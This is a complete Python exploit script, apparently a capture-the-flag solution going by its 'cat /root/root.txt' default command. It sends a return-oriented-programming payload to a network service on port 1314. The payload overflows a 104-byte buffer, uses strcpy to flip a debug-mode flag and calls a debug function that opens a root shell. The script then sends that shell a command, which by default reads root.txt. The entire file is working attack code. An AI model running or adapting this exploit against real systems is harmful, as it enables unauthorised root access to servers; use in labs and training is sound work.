#!/usr/bin/env python3
import argparse
import socket
import struct
import time


def p64(value):
    return struct.pack("<Q", value)


POP_RDI_RET = 0x401B3B
POP_RSI_R15_RET = 0x401B39
RET = 0x401016
STRCPY_PLT = 0x401050
DEBUG_MODE_FUNC = 0x401706
DEBUG_MODE = 0x403D74
RODATA_ONE = 0x402000


def drain(sock, timeout=0.35):
    sock.setblocking(False)
    end = time.time() + timeout
    chunks = []
    while time.time() < end:
        try:
            chunk = sock.recv(4096)
            if chunk:
                chunks.append(chunk)
                end = time.time() + timeout
            else:
                break
        except BlockingIOError:
            time.sleep(0.03)
    sock.setblocking(True)
    return b"".join(chunks)


def build_payload(fd):
    payload = b"A" * 104
    payload += p64(POP_RDI_RET) + p64(DEBUG_MODE)
    payload += p64(POP_RSI_R15_RET) + p64(RODATA_ONE) + p64(0)
    payload += p64(STRCPY_PLT)
    payload += p64(POP_RDI_RET) + p64(fd)
    payload += p64(RET) + p64(DEBUG_MODE_FUNC)
    return payload


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=1314)
    parser.add_argument("--fd", type=int, default=4)
    parser.add_argument(
        "--cmd",
        default="id; cat /root/root.txt; exit",
        help="Command to run in the root shell.",
    )
    args = parser.parse_args()

    payload = build_payload(args.fd)
    if len(payload) > 200:
        raise SystemExit(f"payload too large: {len(payload)} bytes")

    with socket.create_connection((args.host, args.port), timeout=5) as sock:
        sock.settimeout(5)
        print(drain(sock, 0.4).decode("utf-8", "replace"), end="")

        sock.sendall(b"3\n")
        time.sleep(0.2)
        print(drain(sock, 0.4).decode("utf-8", "replace"), end="")

        sock.sendall(payload)
        time.sleep(0.4)
        print(drain(sock, 0.5).decode("utf-8", "replace"), end="")

        sock.sendall(b"shell\n")
        time.sleep(0.5)
        print(drain(sock, 0.5).decode("utf-8", "replace"), end="")

        sock.sendall(args.cmd.encode() + b"\n")
        time.sleep(1.0)
        print(drain(sock, 1.0).decode("utf-8", "replace"), end="")


if __name__ == "__main__":
    main()